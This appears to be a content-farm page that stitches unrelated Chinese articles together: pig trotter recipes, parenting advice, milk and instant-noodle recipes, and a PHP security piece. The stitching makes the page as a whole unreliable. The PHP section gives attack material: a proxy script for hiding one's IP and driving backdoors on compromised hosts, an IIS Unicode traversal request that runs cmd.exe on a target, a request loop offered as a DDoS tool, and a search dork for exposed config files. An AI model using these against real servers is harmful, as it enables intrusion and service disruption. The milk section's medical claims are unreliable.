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泡面的另类吃法-十款猪蹄另类吃法 抢先看

发布时间:2018-04-26 所属栏目:全球最诡异的另类建筑

一 : 十款猪蹄另类吃法 抢先看

        猪蹄含有丰富的胶原蛋白质,脂肪含量也比肥肉低,它能防治皮肤干瘪起皱、增强皮肤弹性和韧性,人们把猪蹄称为"美容食品" 和"类似于熊掌的美味佳肴"。猪蹄有多种不同的烹调作法,制作过程中不用加什么特别的材料,做出来的猪蹄又香又弹牙,饭桌上要是出现这道菜,相信会被一抢而空的哦!赶紧试试吧~

一、烤猪蹄

十款猪蹄另类吃法 抢先看Yb.jpg

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用料:猪蹄4只、食盐5克、酱油5克、葱半根、姜5片、八角1个、花椒5克、桂皮1小段、干辣椒3个、蚝油2滴、黄酒15克、红糖5克、香叶2片、香菜2棵、麦芽糖1汤匙、植物油1汤匙、辣椒粉15克、花椒粉10克、花生仁(炒)20克、黄豆粉15克、细香葱1根、五香粉10克、卤汁20克

做法:

1、四只猪蹄清理净杂毛剁成16块,洗净,入冷水锅,同时加入生姜和黄酒,大火煮开,撇净浮沫,不用换锅直接加入冷冻的老卤汤块

2、煮沸的同时依然及时清理浮沫,新补适量葱姜蒜和八角、香叶、桂皮、花椒、干辣椒、五香粉等香料,煮开也完全没有浮沫了继续加入冰糖或红糖,补少量酱油

3、小火炖一小时以上,中途视情况补一点盐,关火前滴两滴蚝油,将猪蹄皮向下在卤水里浸泡至温热,烤前取出,取一大勺麦芽糖加热水化开

4、刷在猪蹄表面,刷好备用,烤架上刷少许植物油,下层用一个烤盘垫油纸或者锡纸接渣,烤架上摆开刷好糖水的猪蹄,中层或中下层烤制15分钟-1小时皆可

5、烤的时候准备干碟一份:就是把现辣椒粉和花椒粉、熟黄豆粉及花生仁碎、盐、五香粉、细香葱花、香菜等混合,猪蹄烤到表皮红亮吱吱冒油即可出炉,可干吃,也可裹干碟香料蘸食

二、猪蹄冰块

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用料:猪蹄4个、食盐5克、味精5克、葱3段、姜3片、八角5克、花椒3克、料酒1汤匙

做法:

1、准备原材料,并将一把螺丝刀插入猪蹄中,大火烧猪蹄片刻,去毛,泡入凉水中,大约几个小时后,用刀刮,去黑

2、第一次焯水去血沫,要凉水入锅,放入适量的葱、姜、花椒、料酒即可,第二次焯水去腥味,开水入锅

3、焯水后的猪蹄放入焖烧锅中,加入花椒、八角、葱、姜内胆煮20分钟后,移入焖烧锅中(先焖制4小时后,取出内胆再烧开2分钟,接着移入焖烧锅4小时即可)

4、总计8小时后,打开焖烧锅,撇去浮油,将猪蹄去骨,撕成块备用,将猪蹄倒入一料盒中,汤汁一起倒入,放冰箱冷藏一夜,冷藏后的蹄冻切成块即可

三、潇湘猪手

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用料:猪蹄1个、酱油1/2汤匙、冰糖1小把、葱15克、姜1块、蒜10克、八角2个、花椒20粒、干辣椒3个、料酒1汤匙、香醋1.5汤匙、香油1茶匙、植物油100毫升、香叶2片、白胡椒20粒、剁椒2汤匙、水适量、白糖1茶匙

做法:

1、猪手斩件,洗净去毛,猪手块与葱姜、1片香叶、1个八角、10粒花椒同煮30分钟后捞出在冷水中激一下

2、沥去水分后放入油锅中煎至表面微黄后捞出备用(传统做法是用油炸),起油锅,放入葱姜蒜、1个八角、10粒花椒、1片香叶和干辣椒煸出香味

3、加入冰糖和猪手翻炒,烹入料酒和酱油,翻炒至猪手上色,烹入少量清水至没过猪手,小火收至汤汁浓稠

4、加入白胡椒和剁椒拌均匀,大火蒸30分钟,蒸的时候做料汁:起油锅,加入葱姜爆香后加入白糖和香醋调成料汁,淋入香油,蒸完以后将料汁淋入猪手中即可

四、腐乳猪蹄 

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用料:猪蹄2个、葱10克、姜5片、八角2个、桂皮1段、生抽1小勺、老抽2小勺、白醋1大勺、白酒2小勺、腐乳(红)1块、白糖2小勺、水1大碗

做法:

1、买来的猪蹄放入清水中浸泡15分钟,水中加入1大勺白醋,然后用刀子将猪蹄上残留的细毛刮掉,葱姜切段备用,去毛的猪蹄用滚开水汆烫两次,去除猪蹄中的血沫和杂质,最后冲洗干净

2、洗净的猪蹄放入高压锅中,加入八角、桂皮、葱姜,加入2小勺白酒、2小勺老抽、1小勺生抽,将1块腐乳捣碎连同汁一起倒入锅中

3、加入2小勺白糖,最后加入1大碗热水,高压锅加盖开火炖煮1小时候,将炖好的猪蹄和汤汁一起放入炒锅中,继续炖煮15分钟

4、不断将汤汁淋在猪蹄上,最后汤汁收紧即可出锅

五、黄豆焖猪蹄 

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用料:猪蹄1000克、黄豆200克、胡萝卜1根、食盐5克、冰糖1小块、姜3片、蒜5瓣、料酒2汤匙、生抽2汤匙、老抽半汤匙、豆瓣酱1汤匙、植物油1汤匙

做法

1、将干黄豆提前泡发,约1小时,将斩好的猪蹄洗干净,放进煮沸的水中焯水,去掉血沫

2、炒锅里放入少量植物油爆香姜片和蒜粒以及豆瓣酱,放入猪蹄,翻炒至表皮金黄

3、放入料酒、豆瓣酱、生抽、老抽、冰糖、盐,让每一块猪蹄都沾满酱料

4、把浸泡过的黄豆沥干水,加入到猪蹄中,翻炒均匀,往锅内注入没住猪手的开水烧开,再把锅中的所有材料倒入到电饭锅中,并且放入胡萝卜块,按下煮饭键,自动煮熟,即可上桌

六、酱猪蹄 

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用料:猪蹄2只、冰糖1小把、葱半根、姜3片、八角1个、桂皮1块、料酒2大勺、生抽4大勺、老抽2大勺、香油数滴、香叶2片、大蒜3瓣、陈醋1勺

做法:

1、猪蹄提前泡水至少5小时以上,中间换水2、3次;凉水上锅,中大火烧开,保持沸腾5分钟

2、倒掉煮猪蹄的水,并将猪蹄冲洗干净,仔细检查,去除细毛和杂质;猪蹄放进砂锅,加入适量清水,加入葱姜和调料

3、大火煮开后,转小火,盖上盖子,微火保持微微沸腾,煮15分钟,关火焖30分钟,再开微火煮制微沸保持15分钟,再关火焖30分钟,再煮一次,差不多就熟烂了;取出猪蹄放进适合的容器

4、滤除汤汁中的杂质;用原汤汁浸泡猪蹄,并密封放进冰箱冷藏,冷藏至起冻,用小勺刮除表面的脂肪;取出猪蹄,切开或撕开、或连撕带切成大块儿

5、大蒜砸成泥,加入适量陈醋和香油,搅拌均匀成蒜泥;猪蹄装盘,与蒜泥一起上桌蘸食

七、柱候花生猪手煲   

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用料:猪蹄3个、花生1碗、食盐5克、冰糖10克、葱1根、姜1块、八角3个、桂皮1小块、料酒1勺、生抽10克、蚝油10克、豆瓣酱15克、柱侯酱40克、草果1个、香叶4片、陈皮1小块、小葱1根、植物油适量、白酒少许

做法

1、将所有食材准备好:猪蹄洗净去毛,花生米提前用水泡上,然后用高压锅蒸十分钟或煮二十分钟(蒸花生的水不要倒掉,炖的时候一起放进去)

2、猪蹄从中切两半,冷水下锅焯,放两段葱几片姜和少许白酒去腥,煮开后撇沫捞出,趁热抹些老抽上色(老抽不用抹太多,上点色就可)

3、锅里多放点油,烧八成热,把猪蹄炸一下,不用炸太久,上色即出,炸到颜色油亮焦黄后捞出备用

4、锅坐少许油,下豆瓣酱炒出香味,然后下柱候酱炒香,酱炒好后,下猪手炒几下,下料酒出香气,然后把香料和调料数扔进去,再炒几下放花生(记得花生水也一齐倒入),然后再加一些热水

5.另坐一个锅,将炸猪蹄的油烧热,把切好的葱段和姜片大火炸至金黄,趁热扔进炖猪蹄的锅里,大火坐开锅,然后盖盖小火炖最少两个小时;取一个砂煲,下边垫上生菜叶子,然后大火把猪蹄收汁到明亮汁粘稠时,倒进砂锅,放在火上煲开,撒小葱粒盖盖上桌

八、番茄猪手 

十款猪蹄另类吃法 抢先看tl.jpg

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用料:猪蹄1个、樱桃番茄200克、食盐3克、姜1大块、料酒10克、生抽5克、老抽5克、蚝油5克、番茄酱20克、细香葱2根、红糖20克

做法

1、猪手请店家帮忙斩成件,洗净放入锅中,加入清水烧开,继续保持大火煮5分钟,使猪手的血沫溢出来,然后捞起过凉水,这样可以去除掉猪手的腥膻味

2、把处理好的猪手放到压力锅中,加入盐、生抽、老抽、料酒、蚝油、红糖、生姜、香葱和适量的清水,加盖锅盖,大火煮至开始喷气,调成中火再煮10分钟,关火

3、等压力锅内的气体放尽,打开盖子,锅里的余温让汤汁依然沸腾,小心烫手,洗干净番茄,对半切开,把番茄和番茄酱倒入锅内,再把锅置于灶上,开大火收汁即可

九、沙姜猪手  

十款猪蹄另类吃法 抢先看Yp.jpg

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用料:猪蹄1只、沙姜50克、色拉油1汤匙、食盐1/2茶匙、葱1段、八角1个、花椒10粒、干辣椒1个、老抽1/2汤匙、黑胡椒1/2茶匙、椒盐1/2茶匙、香叶2片、黄酒1/2汤匙

做法:

1、猪蹄斩小块洗净,入冷水锅加黄酒和几颗花椒煮滚后捞出洗净,汤水弃之,沙姜洗净切成薄片,葱切段

2、将猪蹄放入砂锅内,加水至猪蹄之上半指,放入葱、沙姜、花椒、干辣椒、八角、香叶,煮至筷子能戳动时,加老抽、少盐、黄酒大火煮滚转小火将猪蹄炖上色,关火

3、捞出猪蹄块,沥去汤汁,再用厨纸拭干,取一只小锅放多油,五成热时,将猪蹄皮朝下放入油中,炸至表皮金黄、微脆时取出

4、容器内铺上蔬菜叶,将猪蹄放入,撒上椒盐黑胡椒粉即可

十、芸豆猪手汤 

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用料:猪蹄1个、芸豆(白)100克、枸杞子20粒、枣(干)3个、食盐4克、姜4片、料酒10克

做法

1、芸豆加入适量的清水,泡发2小时以上

2、猪蹄让卖家给剁成小块,回家后洗净,再把没剔除干净的毛拨掉。红枣洗净,枸杞泡清水,姜切片

3、锅内放水,放入料酒和姜,凉水把猪蹄放入,水开后焯1-2分钟,焯水去除血水和浮沫,焯好的猪蹄捞出备用

4、锅内放清水,放入猪蹄、红枣、芸豆和姜片,大火烧开,再转小火慢炖2个小时,至猪蹄软烂,芸豆软糯,加盐调味即可
 

二 : 宝宝的另类教育法

其实教育小孩子并不是采用一些死板的方法,而是渗透在生活中的点点滴滴,如果你还是不理解这句话的意思,那么就请看看以下的几个小实例吧,相信会对妈妈的育儿经起来良好的补充作用!
  照顾宠物:培养起责任感
  父母平时会教育孩子宽容、忠诚的好品质,但常常由于概念抽象,使得孩子难以理解和接受。其实在这方面,宠物可以助你一臂之力。专家认为:“养宠物可以培养孩子照顾另一种生物的责任感。照顾狗、猫等,可以让孩子懂得什么是责任感。”
  譬如,当家里的小狗每天下午3点准时出现在门口等候小主人归来时,孩子就不难理解什么叫忠诚了。而且,小狗会不断将这个道理演示给小主人看。再比如,孩子有时会抓住小猫咪的尾巴,但事后,小猫还是不计较地和小主人一起玩。父母可以通过这件事教会孩子什么是宽容,同时告诉他对待别人的错误也要学会宽容。早教网
  当然,如果父母工作很忙,没有时间养宠物,可以让孩子参与和邻居一起遛狗,或者在放假时让孩子给学校养的小豚鼠做个窝。通过这些活动,让孩子学会助人为乐,同时明白,对别人好,别人也同样会对你好。
  直面失败:向天空大声呼喊
  父母常常会鼓励孩子要树立远大的志向、拼搏向上,但面对他的失败,更多的常常是责怪和不知所措。
  其实,孩子失败时也正是最需要亲情的时候。比如孩子参加比赛输了,此时最好的做法是,赶快让孩子离开现场,带他到一个只有你们两个人的地方,这样可以不让他在众多小伙伴面前失态而尴尬。然后,不妨让孩子发泄一会儿,并用温和而同情的目光安慰他的愤怒和失望的情绪。
  同情可以使孩子感到被人理解,等他冷静下来,你就可以和他深入交谈了。这时千万不要说“胜败乃兵家常事”或者“你不应该为此灰心”之类的话,此时的他不需要大道理,也不需要模糊的建议。不妨对他说:“下次再输的话,你可以朝着天空大喊一声。”此类实际的建议,远比那些空洞的说教对孩子的身心更有帮助。早期教育
  健康示爱:当着孩子轻歌曼舞
  不少父母会认为,夫妻间在家的亲昵行为应该避开孩子,否则会对孩子成长产生不良影响。专家们却认为,父母间的相爱,反而对孩子的情感教育有益。
  如果你们晚上想在家跳一会舞,完全可以当着孩子的面进行,因为,让孩子看到你们的轻歌曼舞,拥抱甚至亲吻是非常重要的。对于孩子而言,习惯于父母的亲密举动会使他们与周围朋友间的关系更融洽,尤其是对他们将来与所爱的人生活会更有指导意义。
幼儿教育小编总结:多学着从生活中的小事情总结育儿的经验,学会用新的角度去发现新的育方法,给予孩子最有效的指导,倘若你还在为教育孩子的一些事情而烦恼,那就敬请多关注此类的小文章吧!

三 : PHP在安全方面的另类应用

  1.远程文件

  PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:

  代码

  

  $fp=@Fopen($url,"r") or die ("cannot open $url");

  while($line=@fgets($fp,1024)) {

  $contents.=$line;

  }

  echo $contents; //显示文件内容

  fclose($fp); //关闭文件

  ?>

  以上是一段利用Fopen函数打开文件的代码,由于Fopen函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为Proxy.php,然后后提交:

  代码

  /proxy.php?url=http://www.hacker.com.cn/bbs

  这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址。Fopen函数可以从任何其Web或FTP站点读取文件,事实上PHP的大多数文件处理函数对远程文件都是透明的,比如请求:

  代码

  /proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  这样实际上是利用了Target主机上的Unicode漏洞,执行了DIR命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如51的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过PHPinfo()查看服务器是否支持这种功能。当然,在PHPinfo()被禁用的情况下,也可以使用Get_cfg_var():

  代码

  

  echo "是否允许使用远程文件(allow_url_Fopen)";

  ?php

  if (get_cfg_var("allow_url_Fopen")=="1")

  {

  echo("");

  }

  else echo("");

  ?>

  当Allow_url_Fopen一项参数为ON时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过PHP Flame的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了Web间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的Web目录下。而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:

  代码

  

  $fp = Fopen($_GET['filename'], 'rb'); //打开文件

  $data = $tmp = '';

  while ( true ) {

  $tmp = fgets($fp, 1024);

  if ( 0 === strlen($tmp) ) {

  break; //跳出while循环

  }

  $data .= $tmp;

  }

  fclose($fp); //关闭文件

  $file=preg_replace("/^.+//","",$filename);//转换文件名

  //write

  $fp = Fopen("$file", 'wb'); //生成文件

  fwrite($fp, $data); //写入数据

  fclose($fp);

  ?>

  在调用Fopen和Fwrite函数时加入"b"标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:

  /down.php?filename=http://www.chinaz.com/winrar.zip

  这时便会在Down.php的所处目录下生成相应的Winrar.zip文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写SQL Injection攻击的自动脚本,甚至是HTTP的代理服务:

  代码

  

  $url = getenv("QUERY_STRING");

  if(!ereg("^http",$url)) //检查输入的URL格式

  {

  echo "例子:
http://www.163.com/
";

  echo "http://www.xxxx.com/list.php?id=600
";

  echo "当URL为目录时需要在目录后加入"/"";

  exit;

  }

  if($url)

  $url=str_replace("","/",$url);

  $f=@Fopen($url,"r"); //打开文件

  $a="";

  if($f)

  {

  while(!feof($f))

  $a.=@fread($f,8000); //读取文件

  fclose($f);

  }

  $rooturl = preg_replace("/(.+/)(.*)/i","1",$url); //转换根目录

  $a = preg_replace("/(src[[:space:]]*=['"])([^h].*?)/is","1$rooturl2",$a);

  $a = preg_replace("/(src[[:space:]]*=)([^h'"].*?)/is","1$rooturl2",$a); //转换图片地址

  $a = preg_replace("/(action[[:space:]]*=['"])([^h].*?)/is","1$php_self?$rooturl2",$a);

  $a = preg_replace("/(action[[:space:]]*=)([^h'"].*?)/is","1$php_self?$rooturl2",$a); //转换POST地址

  $a = preg_replace("/(

  $a = preg_replace("/(

  $a = preg_replace("/(link.+?href[[:space:]]*=[^'"])(.*?)/is","1$rooturl2",$a);

  $a = preg_replace("/(link.+?href[[:space:]]*=['"])(.*?)/is","1$rooturl2",$a); //转换样式表地址

  echo $a;

  exit;

  ?>

  在正则表达式的帮助下,以上代码能够自行地将返回页面中包含的链接和图片进行转换,并把页面内的链接自动提交到当前PHP脚本的$url中。例如提交:

  /proxy.php?http://www.xfocus.net/

  脚本将会返回http://www.xfocus.net/的内容,如图1所示。

  图1

  当然,这运用的绝对不仅仅是框架的技巧。运用这个脚本你可以远程操作安置在其他服务器的Web后门,或者将肉鸡做成一个简单的HTTP代理,从而更好的隐藏自己的IP。如果使用PHP编写CGI扫描工具,你需要延长PHP的有效运行时间。以下是两种有效的方法,当然你也可以将PHP代码编译成GUI界面,从而解决这个问题。设置PHP的有效运行时间为三分钟:

  代码

  

  

  我们再看看这种功能在DDOS攻击中的应用:

  代码

  

  set_time_limit(60*3);

  $url="http://www.xxx.com/bbs/userlist.php?userid=";

  for($i=1131;$i<=1180;$i++)

  {

  $urls=$url.$i; //将$url与$i链接在一起

  $f=@Fopen($urls,"r"); //请求$urls

  $a=@fread($f,10); //取出部分内容

  fclose($f); //关闭$urls

  }

  ?>

  以上用For循环不断地请求Userlist.php?userid=$i的内容($i的值每次都是不同的),但是打开后仅仅取出几个字节便关闭这个脚本了。PHP运行在虚拟主机上,10秒钟便可以打开几十个URL,当同时运行多个进程时,便有可能实现DDOS攻击,让对方的论坛迅速崩溃。

  限于版面,远程文件的内容就先说到这里了,如果你还有不明白的地方,请参考以下的这篇文章:《在PHP中使用远程文件》

  2.错误回显

  PHP在默认的情况下打开错误回显,这样可以便于程序员在调试脚本时发现代码的错误,但是这也往往使Web暴露了PHP的代码和服务器的一些数据。PHP对代码的规范性要求比较严格,以下是一种比较常见的错误回显:

  warning:file("data/1120'.htm)-no such file or

  directory in /usr/home/xxxxx.com/show.php on line 300

  这种错误回显,至少告诉了我们三个信息:服务器的操作系统是LINUX;服务器使用文本数据库;Show.php的第300行代码为"file ("./data/1120/".$data.".htm")"。

  这种错误回显,已经足以成为一台服务器致命的漏洞。从另一个利用的角度来看,我们发现一般的PHP错误回都包含了"warning"字符,但是这有什么用呢?我们得先认识一下PHP的库文件。

  PHP的Include()和Require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。

  最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者将容易得到这些信息。

  按照以往的程序员的习惯,往往会把一些重要的文件设定"config.inc","coon.inc"等形式,如果我们在搜索引撃中搜索"warning+config.inc",那么你会发现许多网站都暴露了".inc"文件的代码,甚至包括许多商业和政府网站,如图2所示。

  图2

  要关闭PHP的错误回显通常有两个方法,第一个是直接修改Php.ini中的设置,这我们以前已经介绍过了;第二种方法是在PHP脚本中加入抑制错误回显的代码,你可以在调用的函数前函数加入"@"字符,或者在PHP的代码顶端加入"error_reporting(0);"的代码,要了解更多的内容请参考PHP手册中的"error_reporting"一节。

 

 

(本文由责任编辑 pasu 整理发布)

 

 

四 : 牛奶的另类健康吃法

       中医学认为,牛奶味甘性微寒,具有生津止渴、滋润肠道、清热通便、补虚健脾等功效。把牛奶进行适当的加工,或和其他食物一起进行调配,可制成各种“食疗牛奶”。由乳品加工厂生产的牛奶粥有多种配方,形成甜、咸等不同风味。其杀菌时间短,营养损失少。

牛奶的另类健康吃法CM.jpg

1.牛奶粥。鲜牛奶250毫升、大米60克、白糖适量。先将大米煮成半熟,去米汤,加入牛奶,文火煮成粥,加入白糖搅拌,充分溶解即成。早晚温热服食,注意保鲜,勿变质。可补虚损,健脾胃,润五脏。适用于虚弱劳损、气血不足、病后虚赢、年老体弱、营养不良等症。

2.牛奶大枣汤。牛奶500毫升、大枣25克、大米100克。先将大米与大枣同煮成粥,然后加入牛奶,烧开即可,可补气血、健脾胃,适用于过劳体虚、气血不足等症。

3.羊肉奶羹。羊肉250克、生姜20克、山药100克、牛奶250毫升。将羊肉洗净切成小块,生姜切成片,一起放进砂锅,加水适量,文火炖7~8小时,搅匀,去除未烂残渣,留羊肉汤,加入切片山药,煮烂,再倒入牛奶,烧开即可。本品温中补虚,益精补气,适用于病后(产后)肢冷、疲倦、气短等症。可每天分数次服食,连服5~7天为一疗程。服本方时不宜同时吃其他药物,最好每天早晨辅食一次小米大枣莲子粥(小米60克、大枣10枚、莲子18克共煮成粥)。

4.鲜奶玉液。粳米60克、炸胡桃仁80克、生胡桃仁45克、白糖12克、牛奶200毫升。把粳米洗净,浸泡1小时捞出,滤干水分,和胡桃仁、牛奶加少量水搅拌磨细,用漏斗过滤取汁,将汁倒入锅内加水煮沸,加入白糖搅拌,待全溶后滤去渣,取滤液倒入锅内烧沸即成。本品可补脾肾,润燥益肺,适用于咳嗽、气喘、腰痛及津亏肠燥便秘等,并可作为病后体虚、神经衰弱、慢性支气管炎、性功能低下、老年便秘患者的膳食。空腹饮用或早晚佐食均可。

5.姜韭牛奶羹。韭菜250克、生姜25克、牛奶250毫升。将韭菜、生姜切碎、捣烂,以洁净纱布绞取汁液,再倒入锅内,加牛奶煮沸即可。本品可温胃健脾,适用于胃寒型胃溃疡、慢性胃炎、胃脘痛、呕吐等,可于每日早晚服用。另有一种姜汁牛奶,用生姜汁10克、白糖20克、牛奶200毫升,混匀煮沸即成。本品可益胃、降逆、止呕吐,适用于妊娠呕吐不能进食的妇女。

6.厚奶。把牛奶烧开加入3%~7%的淀粉或糕干粉、藕粉等,使牛奶变稠,稍加糖即可。本品适用于习惯性呕吐、反胃和需要增加能量的患者。

7.蛋奶。先将鸡蛋煮老,去掉蛋壳、蛋白,用勺子将蛋黄研碎,加入牛奶充分混合即可。蛋黄除含有蛋白质、脂肪、维生素A外,还含有铁、磷等物质。本品适用于缺铁性贫血,以及需要补充钙质的四五个月的婴儿。
 

五 : 泡面的多种另类吃法

果酱脆面

≮美食原料≯

洋芋片 1盒、葡萄果酱 1罐、牛奶 1盒、泡面 1/2包。

≮美食做法≯

1、将洋芋片一半放上压碎的面条,另一半放上1/2大匙的果酱即可食用。

2、将牛奶倒入杯中,加入碎面条,就是1杯特制的玉米片早餐了。

3、使用泡面种类:任何一种泡面皆可

4、你可以任意调配自己喜欢的果酱,蓝莓、橘子、苹果,甚至花生酱都值得一试喔!

五味凉拌

≮美食原料≯

花生米(炒过的) 1杯、青蒜末 1/2杯、生辣椒末 1大匙、香菜末 1大匙、泡面 1/2包、泡面胡椒盐粉包 1包。

≮美食做法≯

1、将泡面面条压碎后加入其它材料一起拌匀即可。

2、建议使用目前市面上的方便粉丝代替泡面

3、 因为青蒜加入胡椒盐粉会软化出水,因此最好要吃之前再加入胡椒盐粉调味,以免花生及泡面因水的缘故变得不脆,影响口感。

泡面面包

≮美食原料≯

热狗面包 1个、沙拉酱 1大匙、蕃茄酱 1大匙、泡面面条 1/2包、泡面调理包 1包、泡面酸菜包 1包。

≮美食做法≯

1、将泡面面条用热水冲泡3分分钟后沥干。

2、将面条、牛肉调理包、酸菜包依序夹入面包中,淋上沙拉酱及蕃茄酱即可。

3、使用泡面种类:清炖牛肉的比较合适

4、你可以购买任何一种自己喜欢的面包,例如法国面包可以做成潜艇堡、吐司可制成三明治,甚至可买单个圆形的杂粮面包,把面包中心挖空,填入泡面当面包馅,也是一种很不错的吃法喔!

西式餐面

≮美食原料≯

鲑鱼片 1片(约180公克)、四季豆 6条、红萝卜 1/3条 、玉米 1/2条、太白粉 1小匙、水 1/3杯、米酒 1小匙、盐 2小匙、泡面面条 1/2包、泡面蒜辣酱料包 1包、泡面调理包 1包。

≮美食做法≯

1、鲑鱼片用米酒及盐1小匙腌10分钟,将色拉油倒入平底锅中烧热,放入鲑鱼煎至两面呈金%%即可。

2、四季豆、红萝卜切段,玉米块切成2等份,放入热水中煮熟,热水中加1小匙盐。

3、将面条用热水冲泡3分钟后沥干,用蒜辣酱料包拌匀成干拌面。

4、将上述煮好的材料依序排入餐盘,将泡面调理包煮开,加入水及太白粉芶芡,淋在鲑鱼片上即可。

本文标题:泡面的另类吃法-十款猪蹄另类吃法 抢先看
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